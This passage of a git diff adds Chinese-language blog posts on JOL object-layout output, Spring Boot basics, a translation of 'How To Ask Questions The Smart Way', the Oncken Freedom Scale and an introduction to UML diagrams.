header) 6d 01 00 f8 (01101101 00000001 00000000 11111000) (-134217363) + 12 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) + 16 0 int [I. N/A +Instance size: 16 bytes +Space losses: 0 bytes internal + 0 bytes external = 0 bytes total + + +JOLSample$A object internals: + OFFSET SIZE TYPE DESCRIPTION VALUE + 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) (1) + 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) + 8 4 (object header) 51 f2 00 f8 (01010001 11110010 00000000 11111000) (-134155695) + 12 4 int A.id 0 + 16 1 byte A.b 0 + 17 3 (alignment/padding gap) + 20 4 java.lang.String A.name null + 24 4 java.lang.Object A.o null + 28 4 (loss due to the next object alignment) +Instance size: 32 bytes +Space losses: 3 bytes internal + 4 bytes external = 7 bytes total + + +Process finished with exit code 0 + + +``` + + diff --git a/_posts/2022-05-15-605-Springboot.md b/_posts/2022-05-15-605-Springboot.md new file mode 100644 index 0000000..73dd47b --- /dev/null +++ b/_posts/2022-05-15-605-Springboot.md @@ -0,0 +1,48 @@ +--- +layout: post +title: 深入浅出Spring boot +pid: 605 +tags: [java] + +--- + +Spring Boot 采用了“约定优于配置” 的规则， 大部分情况下依赖它提供的starter后，就可以使用默认的约定，加上属性文件，做大量的自定义配置， 使开发更为简单：对于部署，Spring Boot 提供了内嵌服务器， 和Maven C 或Grandle ）打包，进一步降低了企业部署的难度； 对于测试，它提供了快速测试的环境， 进一步提高了开发效率，因此它渐渐成为中小型企业甚至是一些大型企业开发的主流选择。 + +Spring Boot 的优点 + +Spring Boot 的优点如下： +1) 创建独立的Spring 应用程序； +2) 嵌入的Tomcat 、Jetty 或者Undertow ，无须部署WAR 文件： +3) 允许通过Maven 来根据需要获取starter; +4) 尽可能地自动配置Spring; +5) 提供生产就绪型功能，如指标、健康检查和外部配置； +6) 绝对没有代码生成，对XML 没有要求配置。 + +约定优于配置，这是Spring Boot 的主导思想。 + +第三章 + +在Spring中把每一个需要管理的对象称为Spring Bean （简称Bean ），而Spring 管理这些Bean 的容器，被我们称为Spring IoC 容器（或者简称IoC 容器）。IoC 容器需要具备两个基本的功能： + ++ 通过描述管理Bean ，包括发布和获取Bean; ++ 通过描述完成Bean之间的依赖关系。 + +BeanFactory + +默认情况下Spring IoC容器中，Bean 都是以单例存在： ++ isSingleton getBean方法返回的都是同一个对象 ++ isPrototype getBean方法每次返回一个新的Bean给调用者 + +Bean的作用域 + ++ singleton ++ prototype ++ session ++ application ++ request ++ globalSession + + + + + diff --git a/_posts/2022-05-16-606-How-To-Ask-Questions-The-Smart-Way.md b/_posts/2022-05-16-606-How-To-Ask-Questions-The-Smart-Way.md new file mode 100644 index 0000000..6f9923a --- /dev/null +++ b/_posts/2022-05-16-606-How-To-Ask-Questions-The-Smart-Way.md @@ -0,0 +1,277 @@ +--- +layout: post +title: 提问的智慧 (提问前必读) +pid: 606 +tags: [岗前培训] + +--- + +# 1. 在提问之前 + +在你准备要通过电子邮件、新闻群组或者聊天室提出技术问题前，请先做到以下事情： + +1. 尝试在你准备提问的论坛的旧文章中搜索答案。 +2. 尝试上网搜索以找到答案。 尝试阅读手册以找到答案。 +3. 尝试阅读常见问题文件（FAQ）以找到答案。 +4. 尝试自己检查或试验以找到答案。 +5. 向你身边的强者朋友打听以找到答案。 +6. 如果你是程序开发者，请尝试阅读源代码以找到答案。 + +当你提出问题的时候，请先表明你已经做了上述的努力；这将有助于树立你并不是一个不劳而获且浪费别人的时间的提问者。如果你能一并表达在做了上述努力的过程中所学到的东西会更好，因为我们更乐于回答那些表现出能从答案中学习的人的问题。 + +运用某些策略，比如先用 Google 搜索你所遇到的各种错误信息（既搜索 Google 论坛，也搜索网页），这样很可能直接就找到了能解决问题的文件或邮件列表线索。即使没有结果，在邮件列表或新闻组寻求帮助时加上一句 我在 Google 中搜过下列句子但没有找到什么有用的东西 也是件好事，即使它只是表明了搜索引擎不能提供哪些帮助。这么做（加上搜索过的字串）也让遇到相似问题的其他人能被搜索引擎引导到你的提问来。 + +别着急，不要指望几秒钟的 Google 搜索就能解决一个复杂的问题。在向专家求助之前，再阅读一下常见问题文件（FAQ）、放轻松、坐舒服一些，再花点时间思考一下这个问题。相信我们，他们能从你的提问看出你做了多少阅读与思考，如果你是有备而来，将更有可能得到解答。不要将所有问题一股脑拋出，只因你的第一次搜索没有找到答案（或者找到太多答案）。 + +准备好你的问题，再将问题仔细的思考过一遍，因为草率的发问只能得到草率的回答，或者根本得不到任何答案。越是能表现出在寻求帮助前你为解决问题所付出的努力，你越有可能得到实质性的帮助。 + +小心别问错了问题。如果你的问题基于错误的假设，某个普通黑客（J. Random Hacker）多半会一边在心里想着蠢问题…， 一边用无意义的字面解释来答复你，希望着你会从问题的回答（而非你想得到的答案）中汲取教训。 + +绝不要自以为够格得到答案，你没有；你并没有。毕竟你没有为这种服务支付任何报酬。你将会是自己去挣到一个答案，靠提出有内涵的、有趣的、有思维激励作用的问题 --一个有潜力能贡献社区经验的问题，而不仅仅是被动的从他人处索取知识。 + +另一方面，表明你愿意在找答案的过程中做点什么是一个非常好的开端。谁能给点提示？、我的这个例子里缺了什么？以及我应该检查什么地方比请把我需要的确切的过程贴出来更容易得到答复。因为你表现出只要有人能指个正确方向，你就有完成它的能力和决心。 + +# 2. 使用有意义且描述明确的标题 + +在邮件列表、新闻群组或论坛中，大约 50 字以内的标题是抓住资深专家注意力的好机会。别用喋喋不休的帮帮忙、跪求、急（更别说救命啊！！！！这样让人反感的话，用这种标题会被条件反射式地忽略）来浪费这个机会。不要妄想用你的痛苦程度来打动我们，而应该是在这点空间中使用极简单扼要的描述方式来提出问题。 + +一个好标题范例是目标 -- 差异式的描述，许多技术支持组织就是这样做的。在目标部分指出是哪一个或哪一组东西有问题，在差异部分则描述与期望的行为不一致的地方。 + +蠢问题：救命啊！我的笔记本电脑不能正常显示了！ + +聪明问题：X.org 6.8.1 的鼠标光标会变形，某牌显卡 MV1005 芯片组。 + +更聪明问题：X.org 6.8.1 的鼠标光标，在某牌显卡 MV1005 芯片组环境下 - 会变形。 + +编写目标 -- 差异 式描述的过程有助于你组织对问题的细致思考。是什么被影响了？ 仅仅是鼠标光标或者还有其它图形？只在 X.org 的 X 版中出现？或只是出现在 6.8.1 版中？ 是针对某牌显卡芯片组？或者只是其中的 MV1005 型号？ 一个黑客只需瞄一眼就能够立即明白你的环境和你遇到的问题。 + +总而言之，请想像一下你正在一个只显示标题的存档讨论串（Thread）索引中查寻。让你的标题更好地反映问题，可使下一个搜索类似问题的人能够关注这个讨论串，而不用再次提问相同的问题。 + +如果你想在回复中提出问题，记得要修改内容标题，以表明你是在问一个问题， 一个看起来像 Re: 测试 或者 Re: 新 bug 的标题很难引起足够重视。另外，在不影响连贯性之下，适当引用并删减前文的内容，能给新来的读者留下线索。 + +对于讨论串，不要直接点击回复来开始一个全新的讨论串，这将限制你的观众。因为有些邮件阅读程序，比如 mutt ，允许使用者按讨论串排序并通过折叠讨论串来隐藏消息，这样做的人永远看不到你发的消息。 + +仅仅改变标题还不够。mutt 和其它一些邮件阅读程序还会检查邮件标题以外的其它信息，以便为其指定讨论串。所以宁可发一个全新的邮件。 + +在网页论坛上，好的提问方式稍有不同，因为讨论串与特定的信息紧密结合，并且通常在讨论串外就看不到里面的内容，故通过回复提问，而非改变标题是可接受的。不是所有论坛都允许在回复中出现分离的标题，而且这样做了基本上没有人会去看。不过，通过回复提问，这本身就是暧昧的做法，因为它们只会被正在查看该标题的人读到。所以，除非你只想在该讨论串当前活跃的人群中提问，不然还是另起炉灶比较好。 + +# 3. 使问题容易回复 + +以请将你的回复寄到……来结束你的问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦，我们也觉得花几秒钟思考你的问题更麻烦。如果你的邮件程序不支持这样做，换个好点的；如果是操作系统不支持这种邮件程序，也换个好点的。 + +在论坛，要求通过电子邮件回复是非常无礼的，除非你相信回复的信息可能比较敏感（而且有人会为了某些未知的原因，只让你而不是整个论坛知道答案）。如果你只是想在有人回复讨论串时得到电子邮件提醒，可以要求网页论坛发送给你。几乎所有论坛都支持诸如追踪此讨论串、有回复时发送邮件提醒等功能。 + +# 4. 用清晰、正确、精准并语法正确的语句 + +我们从经验中发现，粗心的提问者通常也会粗心的写程序与思考（我敢打包票）。回答粗心大意者的问题很不值得，我们宁愿把时间耗在别处。 + +正确的拼写、标点符号和大小写是很重要的。一般来说，如果你觉得这样做很麻烦，不想在乎这些，那我们也觉得麻烦，不想在乎你的提问。花点额外的精力斟酌一下字句，用不着太僵硬与正式 -- 事实上，黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它必须很准确，而且有迹象表明你是在思考和关注问题。 + +正确地拼写、使用标点和大小写，不要将its混淆为it's，loose搞成lose或者将discrete弄成discreet。不要全部用大写，这会被视为无礼的大声嚷嚷（全部小写也好不到哪去，因为不易阅读。Alan Cox 也许可以这样做，但你不行）。 + +更白话的说，如果你写得像是个半文盲[译注：小白]，那多半得不到理睬。也不要使用即时通信中的简写或火星文，如将的简化为d会使你看起来像一个为了少打几个键而省字的小白。更糟的是，如果像个小孩似地鬼画符那绝对是在找死，可以肯定没人会理你（或者最多是给你一大堆指责与挖苦）。 + +如果在使用非母语的论坛提问，你可以犯点拼写和语法上的小错，但决不能在思考上马虎（没错，我们通常能弄清两者的分别）。同时，除非你知道回复者使用的语言，否则请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂语言写的消息。在网络上英语是通用语言，用英语书写可以将你的问题在尚未被阅读就被直接删除的可能性降到最低。 + +如果英文是你的外语（Second language），提示潜在回复者你有潜在的语言困难是很好的： [译注：以下附上原文以供使用] + +English is not my native language; please excuse typing errors. + ++ 英文不是我的母语，请原谅我的错字或语法。 + +If you speak $LANGUAGE, please email/PM me; I may need assistance translating my question. + ++ 如果你说某语言，请寄信/私讯给我；我需要有人协助我翻译我的问题。 + +I am familiar with the technical terms, but some slang expressions and idioms are difficult for me. + ++ 我对技术名词很熟悉，但对于俗语或是特别用法比较不甚了解。 + +I've posted my question in $LANGUAGE and English. I'll be glad to translate responses, if you only use one or the other. + ++ 我把我的问题用某语言和英文写出来，如果你只用一种语言回答，我会乐意将其翻译成另一种。 + +# 5. 使用易于读取且标准的文件格式发送问题 + +如果你人为地将问题搞得难以阅读，它多半会被忽略，人们更愿读易懂的问题，所以： + ++ 使用纯文字而不是 HTML (关闭 HTML 并不难）。 ++ 使用 MIME 附件通常是可以的，前提是真正有内容（譬如附带的源代码或 patch），而不仅仅是邮件程序生成的模板（譬如只是信件内容的拷贝）。 ++ 不要发送一段文字只是一行句子但自动换行后会变成多行的邮件（这使得回复部分内容非常困难）。设想你的读者是在 80 个字符宽的终端机上阅读邮件，最好设置你的换行分割点小于 80 字。 ++ 但是，对一些特殊的文件不要设置固定宽度（譬如日志档案拷贝或会话记录）。数据应该原样包含，让回复者有信心他们看到的是和你看到的一样的东西。 ++ 在英语论坛中，不要使用Quoted-Printable MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的，但很多邮件程序并不支持这种编码。当它们处理换行时，那些文本中四处散布的=20符号既难看也分散注意力，甚至有可能破坏内容的语意。 ++ 绝对，永远不要指望黑客们阅读使用封闭格式编写的文档，像微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就像有人将还在冒热气的猪粪倒在你家门口时你的反应一样。即便他们能够处理，他们也很厌恶这么做。 ++ 如果你从使用 Windows 的电脑发送电子邮件，关闭微软愚蠢的智能引号功能 （从[选项] > [校订] > [自动校正选项]，勾选掉智能引号单选框），以免在你的邮件中到处散布垃圾字符。 ++ 在论坛，勿滥用表情符号和HTML功能（当它们提供时）。一两个表情符号通常没有问题，但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来像个傻笑的小姑娘。这通常不是个好主意，除非你只是对性而不是对答案感兴趣。 ++ 如果你使用图形用户界面的邮件程序（如微软公司的 Outlook 或者其它类似的），注意它们的默认设置不一定满足这些要求。大多数这类程序有基于选单的查看源代码命令，用它来检查发送文件夹中的邮件，以确保发送的是纯文本文件同时没有一些奇怪的字符。 + +# 6. 精确的描述问题并言之有物 + ++ 仔细、清楚地描述你的问题或 Bug 的症状。 ++ 描述问题发生的环境（机器配置、操作系统、应用程序、以及相关的信息），提供经销商的发行版和版本号（如：Fedora Core 4、Slackware 9.1等）。 ++ 描述在提问前你是怎样去研究和理解这个问题的。 描述在提问前为确定问题而采取的诊断步骤。 ++ 描述最近做过什么可能相关的硬件或软件变更。 尽可能的提供一个可以重现这个问题的可控环境的方法。 ++ 尽量去揣测一个黑客会怎样反问你，在你提问之前预先将黑客们可能遇到的问题回答一遍。 + +以上几点中，当你报告的是你认为可能在代码中的问题时，给黑客一个可以重现你的问题的环境尤其重要。当你这么做时，你得到有效的回答的机会和速度都会大大的提升。 + +Simon Tatham 写过一篇名为[《如何有效的报告 Bug》](https://www.chiark.greenend.org.uk/~sgtatham/bugs-cn.html)的出色文章。强力推荐你也读一读。 + +# 7. 话不在多而在精 + +你需要提供精确有内容的信息。这并不是要求你简单的把成堆的出错代码或者资料完全转录到你的提问中。如果你有庞大而复杂的测试样例能重现程序挂掉的情境，尽量将它剪裁得越小越好。 + +这样做的用处至少有三点。 第一，表现出你为简化问题付出了努力，这可以使你得到回答的机会增加； 第二，简化问题使你更有可能得到有用的答案； 第三，在精炼你的 bug 报告的过程中，你很可能就自己找到了解决方法或权宜之计。 + +# 8. 别动辄声称找到Bug + +当你在使用软件中遇到问题，除非你非常、非常的有根据，不要动辄声称找到了 Bug。提示：除非你能提供解决问题的源代码补丁，或者提供回归测试来表明前一版本中行为不正确，否则你都多半不够完全确信。这同样适用在网页和文件，如果你（声称）发现了文件的Bug，你应该能提供相应位置的修正或替代文件。 + +请记得，还有许多其它使用者没遇到你发现的问题，否则你在阅读文件或搜索网页时就应该发现了（你在抱怨前已经做了这些，是吧？）。这也意味着很有可能是你弄错了而不是软件本身有问题。 + +编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了 Bug，也就是在质疑他们的能力，即使你是对的，也有可能会冒犯到其中某部分人。当你在标题中嚷嚷着有Bug时，这尤其严重。 + +提问时，即使你私下非常确信已经发现一个真正的 Bug，最好写得像是你做错了什么。如果真的有 Bug，你会在回复中看到这点。这样做的话，如果真有 Bug，维护者就会向你道歉，这总比你惹恼别人然后欠别人一个道歉要好一点。 + +# 9. 低声下气不能替代你的功课 + +有些人明白他们不该粗鲁或傲慢的提问并要求得到答复，但他们选择另一个极端 -- 低声下气：我知道我只是个可悲的新手，一个撸瑟，但...。这既使人困扰，也没有用，尤其是伴随着与实际问题含糊不清的描述时更令人反感。 + +别用原始灵长类动物的把戏来浪费你我的时间。取而代之的是，尽可能清楚地描述背景条件和你的问题情况。这比低声下气更好地定位了你的位置。 + +有时网页论坛会设有专为新手提问的版面，如果你真的认为遇到了初学者的问题，到那去就是了，但一样别那么低声下气。 + +# 10. 描述问题症状而非你的猜测 + +告诉黑客们你认为问题是怎样造成的并没什么帮助。（如果你的推断如此有效，还用向别人求助吗？），因此要确信你原原本本告诉了他们问题的症状，而不是你的解释和理论；让黑客们来推测和诊断。如果你认为陈述自己的猜测很重要，清楚地说明这只是你的猜测，并描述为什么它们不起作用。 + +蠢问题 + +我在编译内核时接连遇到 SIG11 错误， 我怀疑某条飞线搭在主板的走线上了，这种情况应该怎样检查最好？ + +聪明问题 + +我的组装电脑是 FIC-PA2007 主机板搭载 AMD K6/233 CPU（威盛 Apollo VP2 芯片组）， 256MB Corsair PC133 SDRAM 内存，在编译内核时，从开机 20 分钟以后就频频产生 SIG11 错误， 但是在头 20 分钟内从没发生过相同的问题。重新启动也没有用，但是关机一晚上就又能工作 20 分钟。 所有内存都换过了，没有效果。相关部分的标准编译记录如下…。 + +由于以上这点似乎让许多人觉得难以配合，这里有句话可以提醒你：所有的诊断专家都来自密苏里州。 美国国务院的官方座右铭则是：让我看看（出自国会议员 Willard D. Vandiver 在 1899 年时的讲话：我来自一个出产玉米，棉花，牛蒡和民主党人的国家，滔滔雄辩既不能说服我，也不会让我满意。我来自密苏里州，你必须让我看看。） 针对诊断者而言，这并不是一种怀疑，而只是一种真实而有用的需求，以便让他们看到的是与你看到的原始证据尽可能一致的东西，而不是你的猜测与归纳的结论。所以，大方的展示给我们看吧！ + +# 11. 按发生时间先后列出问题症状 + +问题发生前的一系列操作，往往就是对找出问题最有帮助的线索。因此，你的说明里应该包含你的操作步骤，以及机器和软件的反应，直到问题发生。在命令行处理的情况下，提供一段操作记录（例如运行脚本工具所生成的），并引用相关的若干行（如 20 行）记录会非常有帮助。 + +如果挂掉的程序有诊断选项（如 -v 的详述开关），试着选择这些能在记录中增加调试信息的选项。记住，多不等于好。试着选取适当的调试级别以便提供有用的信息而不是让读者淹没在垃圾中。 + +如果你的说明很长（如超过四个段落），在开头简述问题，接下来再按时间顺序详述会有所帮助。这样黑客们在读你的记录时就知道该注意哪些内容了。 + +# 12. 描述目标而不是过程 + +如果你想弄清楚如何做某事（而不是报告一个 Bug），在开头就描述你的目标，然后才陈述重现你所卡住的特定步骤。 + +经常寻求技术帮助的人在心中有个更高层次的目标，而他们在自以为能达到目标的特定道路上被卡住了，然后跑来问该怎么走，但没有意识到这条路本身就有问题。结果要费很大的劲才能搞定。 + +蠢问题 + +我怎样才能从某绘图程序的颜色选择器中取得十六进制的的 RGB 值？ + +聪明问题 + +我正试着用替换一幅图片的色码（color table）成自己选定的色码，我现在知道的唯一方法是编辑每个色码区块（table slot）， 但却无法从某绘图程序的颜色选择器取得十六进制的的 RGB 值。 + +第二种提问法比较聪明，你可能得到像是建议采用另一个更合适的工具的回复。 + +# 13. 别要求使用私人电邮回复 + +黑客们认为问题的解决过程应该公开、透明，此过程中如果更有经验的人注意到不完整或者不当之处，最初的回复才能够、也应该被纠正。同时，作为提供帮助者可以得到一些奖励，奖励就是他的能力和学识被其他同行看到。 + +当你要求私下回复时，这个过程和奖励都被中止。别这样做，让回复者来决定是否私下回答 -- 如果他真这么做了，通常是因为他认为问题编写太差或者太肤浅，以至于对其它人没有兴趣。 + +这条规则存在一条有限的例外，如果你确信提问可能会引来大量雷同的回复时，那么这个神奇的提问句会是向我发电邮，我将为论坛归纳这些回复。试着将邮件列表或新闻群组从洪水般的雷同回复中解救出来是非常有礼貌的 -- 但你必须信守诺言。 + +# 14. 清楚明确的表达你的问题以及需求 + +漫无边际的提问是近乎无休无止的时间黑洞。最有可能给你有用答案的人通常也正是最忙的人（他们忙是因为要亲自完成大部分工作）。这样的人对无节制的时间黑洞相当厌恶，所以他们也倾向于厌恶那些漫无边际的提问。 + +如果你明确表述需要回答者做什么（如提供指点、发送一段代码、检查你的补丁、或是其他等等），就最有可能得到有用的答案。因为这会定出一个时间和精力的上限，便于回答者能集中精力来帮你。这么做很棒。 + +要理解专家们所处的世界，请把专业技能想像为充裕的资源，而回复的时间则是稀缺的资源。你要求他们奉献的时间越少，你越有可能从真正专业而且很忙的专家那里得到解答。 + +所以，界定一下你的问题，使专家花在辨识你的问题和回答所需要付出的时间减到最少，这技巧对你有用答案相当有帮助 -- 但这技巧通常和简化问题有所区别。因此，问我想更好的理解 X，可否指点一下哪有好一点说明？通常比问你能解释一下 X 吗？更好。如果你的代码不能运作，通常请别人看看哪里有问题，比要求别人替你改正要明智得多。 + +# 15. 询问有关代码的问题时 + +别要求他人帮你调试有问题的代码，不提示一下应该从何入手。张贴几百行的代码，然后说一声：它不能工作会让你完全被忽略。只贴几十行代码，然后说一句：在第七行以后，我期待它显示 ，但实际出现的是 比较有可能让你得到回应。 + +最有效描述程序问题的方法是提供最精简的 Bug 展示测试用例（bug-demonstrating test case）。什么是最精简的测试用例？那是问题的缩影；一小个程序片段能刚好展示出程序的异常行为，而不包含其他令人分散注意力的内容。怎么制作最精简的测试用例？如果你知道哪一行或哪一段代码会造成异常的行为，复制下来并加入足够重现这个状况的代码（例如，足以让这段代码能被编译/直译/被应用程序处理）。如果你无法将问题缩减到一个特定区块，就复制一份代码并移除不影响产生问题行为的部分。总之，测试用例越小越好（查看话不在多而在精一节）。 + +一般而言，要得到一段相当精简的测试用例并不太容易，但永远先尝试这样做的是种好习惯。这种方式可以帮助你了解如何自行解决这个问题 —- 而且即使你的尝试不成功，黑客们也会看到你在尝试取得答案的过程中付出了努力，这可以让他们更愿意与你合作。 + +如果你只是想让别人帮忙审查（Review）一下代码，在信的开头就要说出来，并且一定要提到你认为哪一部分特别需要关注以及为什么。 + +# 16. 别把自己家庭作业的问题贴上来 + +黑客们很擅长分辨哪些问题是家庭作业式的问题；因为我们中的大多数都曾自己解决这类问题。同样，这些问题得由你来搞定，你会从中学到东西。你可以要求给点提示，但别要求得到完整的解决方案。 + +如果你怀疑自己碰到了一个家庭作业式的问题，但仍然无法解决，试试在使用者群组，论坛或（最后一招）在项目的使用者邮件列表或论坛中提问。尽管黑客们会看出来，但一些有经验的使用者也许仍会给你一些提示。 + +# 17. 去掉无意义的提问句 + +避免用无意义的话结束提问，例如有人能帮我吗？或者这有答案吗？。 + +首先：如果你对问题的描述不是很好，这样问更是画蛇添足。 + +其次：由于这样问是画蛇添足，黑客们会很厌烦你 -- 而且通常会用逻辑上正确，但毫无意义的回答来表示他们的蔑视， 例如：没错，有人能帮你或者不，没答案。 + +一般来说，避免用 是或否、对或错、有或没有类型的问句，除非你想得到是或否类型的回答。 + +# 18. 即使你很急也不要再标题写紧急 + +这是你的问题，不是我们的。宣称紧急极有可能事与愿违：大多数黑客会直接删除无礼和自私地企图即时引起关注的问题。更严重的是，紧急这个字（或是其他企图引起关注的标题）通常会被垃圾信过滤器过滤掉 -- 你希望能看到你问题的人可能永远也看不到。 + +有半个例外的情况是，如果你是在一些很高调，会使黑客们兴奋的地方，也许值得这样去做。在这种情况下，如果你有时间压力，也很有礼貌地提到这点，人们也许会有兴趣回答快一点。 + +当然，这风险很大，因为黑客们兴奋的点多半与你的不同。譬如从 NASA 国际空间站（International Space Station）发这样的标题没有问题，但用自我感觉良好的慈善行为或政治原因发肯定不行。事实上，张贴诸如紧急：帮我救救这个毛绒绒的小海豹！肯定让你被黑客忽略或惹恼他们，即使他们认为毛绒绒的小海豹很重要。 + +如果你觉得这点很不可思议，最好再把这份指南剩下的内容多读几遍，直到你弄懂了再发文。 + +# 19. 礼多人不怪，而且有时还很有帮助 + +彬彬有礼，多用请和谢谢您的关注，或谢谢你的关照。让大家都知道你对他们花时间免费提供帮助心存感激。 + +坦白说，这一点并没有比清晰、正确、精准并合法语法和避免使用专用格式重要（也不能取而代之）。黑客们一般宁可读有点唐突但技术上鲜明的 Bug 报告，而不是那种有礼但含糊的报告。（如果这点让你不解，记住我们是按问题能教给我们什么来评价问题的价值的） + +然而，如果你有一串的问题待解决，客气一点肯定会增加你得到有用回应的机会。 + +（我们注意到，自从本指南发布后，从资深黑客那里得到的唯一严重缺陷反馈，就是对预先道谢这一条。一些黑客觉得先谢了意味着事后就不用再感谢任何人的暗示。我们的建议是要么先说先谢了，然后事后再对回复者表示感谢，或者换种方式表达感激，譬如用谢谢你的关注或谢谢你的关照。） + +# 20. 问题解决后，价格简短的补充说明 + +问题解决后，向所有帮助过你的人发个说明，让他们知道问题是怎样解决的，并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注，应该在那里贴一个说明比较恰当。 + +最理想的方式是向最初提问的话题回复此消息，并在标题中包含已修正，已解决或其它同等含义的明显标记。在人来人往的邮件列表里，一个看见讨论串问题 X和问题 X - 已解决的潜在回复者就明白不用再浪费时间了（除非他个人觉得问题 X的有趣），因此可以利用此时间去解决其它问题。 + +补充说明不必很长或是很深入；简单的一句你好，原来是网线出了问题！谢谢大家 – Bill比什么也不说要来的好。事实上，除非结论真的很有技术含量，否则简短可爱的小结比长篇大论更好。说明问题是怎样解决的，但大可不必将解决问题的过程复述一遍。 + +对于有深度的问题，张贴调试记录的摘要是有帮助的。描述问题的最终状态，说明是什么解决了问题，在此之后才指明可以避免的盲点。避免盲点的部分应放在正确的解决方案和其它总结材料之后，而不要将此信息搞成侦探推理小说。列出那些帮助过你的名字，会让你交到更多朋友。 + +除了有礼貌和有内涵以外，这种类型的补充也有助于他人在邮件列表/新闻群组/论坛中搜索到真正解决你问题的方案，让他们也从中受益。 + +至少，这种补充有助于让每位参与协助的人因问题的解决而从中得到满足感。如果你自己不是技术专家或者黑客，那就相信我们，这种感觉对于那些你向他们求助的大师或者专家而言，是非常重要的。问题悬而未决会让人灰心；黑客们渴望看到问题被解决。好人有好报，满足他们的渴望，你会在下次提问时尝到甜头。 + +思考一下怎样才能避免他人将来也遇到类似的问题，自问写一份文件或加个常见问题（FAQ）会不会有帮助。如果是的话就将它们发给维护者。 + +在黑客中，这种良好的后继行动实际上比传统的礼节更为重要，也是你如何透过善待他人而赢得声誉的方式，这是非常有价值的资产。 + + +# 参考 + ++ [提问的智慧 (提问前必读)](https://www.cnblogs.com/guyk/p/11000432.html) + + + + + + + + + + diff --git a/_posts/2022-06-20-607-The-Oncken-Freedom-Scale.md b/_posts/2022-06-20-607-The-Oncken-Freedom-Scale.md new file mode 100644 index 0000000..767865e --- /dev/null +++ b/_posts/2022-06-20-607-The-Oncken-Freedom-Scale.md @@ -0,0 +1,26 @@ +--- +layout: post +title: 安肯自由量表 +pid: 607 +tags: [岗前培训] + +--- + + +The Oncken Freedom Scale + ++ (5) Act On Own and routinely report (Highest Initiative) ++ (4) Act but advice at once (This is anything more frequent than routine) ++ (3) Recommed and then take resulting action ++ (2) Ask what to do ++ (1) Wait untill told (Lowest Initiative) + + +安肯自由量表 + ++ (5) 独立行动，例行性报告（最高层级）。 ++ (4) 行动，但需立即请示（意味着报告频率超过例行程度）。 ++ (3) 提出建议，按照裁断的结果行动。 ++ (2) 请示要做什么。 ++ (1) 等待指示（最低层级）。 + diff --git a/_posts/2022-06-27-608-UML.md b/_posts/2022-06-27-608-UML.md new file mode 100644 index 0000000..28ca9db --- /dev/null +++ b/_posts/2022-06-27-608-UML.md @@ -0,0 +1,238 @@ +--- +layout: post +title: UML简介 +pid: 608 +tags: [岗前培训, uml] + +--- + + +# 一、基本概念 + +如下图所示，UML图分为用例视图、设计视图、进程视图、实现视图和拓扑视图，又可以静动分为静态视图和动态视图。 + +静态图分为：用例图，类图，对象图，包图，构件图，部署图。 + +动态图分为：状态图，活动图，协作图，序列图。 + +![](/uploads/2022/07/07-01.png) + + +## 1、用例图（UseCase Diagrams）： + +用例图主要回答了两个问题：1、是谁用软件。2、软件的功能。从用户的角度描述了系统的功能，并指出各个功能的执行者，强调用户的使用者，系统为执行者完成哪些功能。 + +![](/uploads/2022/07/07-02.png) + + +## 2、类图（Class Diagrams）： + +用户根据用例图抽象成类，描述类的内部结构和类与类之间的关系，是一种静态结构图。 在UML类图中，常见的有以下几种关系: 泛化（Generalization）, 实现（Realization），关联（Association)，聚合（Aggregation），组合(Composition)，依赖(Dependency)。 + +各种关系的强弱顺序： 泛化 = 实现 > 组合 > 聚合 > 关联 > 依赖 + +### 2.1 泛化 + +【泛化关系】：是一种继承关系，表示一般与特殊的关系，它指定了子类如何继承父类的所有特征和行为。例如：老虎是动物的一种，即有老虎的特性也有动物的共性。 + +![](/uploads/2022/07/07-03.png) + + +### 2.2 实现 + +【实现关系】：是一种类与接口的关系，表示类是接口所有特征和行为的实现。 + +![](/uploads/2022/07/07-04.png) + + +### 2.3 关联 + +【关联关系】：是一种拥有的关系，它使一个类知道另一个类的属性和方法；如：老师与学生，丈夫与妻子关联可以是双向的，也可以是单向的。双向的关联可以有两个箭头或者没有箭头，单向的关联有一个箭头。 + +【代码体现】：成员变量 + +![](/uploads/2022/07/07-05.png) + + +### 2.4 聚合 + +【聚合关系】：是整体与部分的关系，且部分可以离开整体而单独存在。如车和轮胎是整体和部分的关系，轮胎离开车仍然可以存在。 + +聚合关系是关联关系的一种，是强的关联关系；关联和聚合在语法上无法区分，必须考察具体的逻辑关系。 + +【代码体现】：成员变量 + +![](/uploads/2022/07/07-06.png) + +### 2.5 组合 + +【组合关系】：是整体与部分的关系，但部分不能离开整体而单独存在。如公司和部门是整体和部分的关系，没有公司就不存在部门。 + +组合关系是关联关系的一种，是比聚合关系还要强的关系，它要求普通的聚合关系中代表整体的对象负责代表部分的对象的生命周期。 + +【代码体现】：成员变量 + +【箭头及指向】：带实心菱形的实线，菱形指向整体 + +![](/uploads/2022/07/07-07.png) + + +### 2.6 依赖 + +【依赖关系】：是一种使用的关系，即一个类的实现需要另一个类的协助，所以要尽量不使用双向的互相依赖. + +【代码表现】：局部变量、方法的参数或者对静态方法的调用 + +【箭头及指向】：带箭头的虚线，指向被使用者 + +![](/uploads/2022/07/07-08.png) + +### 2.7 各种类图关系 + +![](/uploads/2022/07/07-09.png) + +## 3、对象图（Object Diagrams）: +描述的是参与交互的各个对象在交互过程中某一时刻的状态。对象图可以被看作是类图在某一时刻的实例。 + +![](/uploads/2022/07/07-10.jpeg) + + +## 4、状态图（Statechart Diagrams）： + +是一种由状态、变迁、事件和活动组成的状态机，用来描述类的对象所有可能的状态以及时间发生时状态的转移条件。 + +![](/uploads/2022/07/07-11.gif) + +## 5、活动图（Activity Diagrams）： + +是状态图的一种特殊情况，这些状态大都处于活动状态。本质是一种流程图，它描述了活动到活动的控制流。 + +交互图强调的是对象到对象的控制流，而活动图则强调的是从活动到活动的控制流。 + +活动图是一种表述过程基理、业务过程以及工作流的技术。 + +它可以用来对业务过程、工作流建模，也可以对用例实现甚至是程序实现来建模。 + +![](/uploads/2022/07/07-12.jpeg) + +### 5.1 带泳道的活动图 + +泳道表明每个活动是由哪些人或哪些部门负责完成。 + 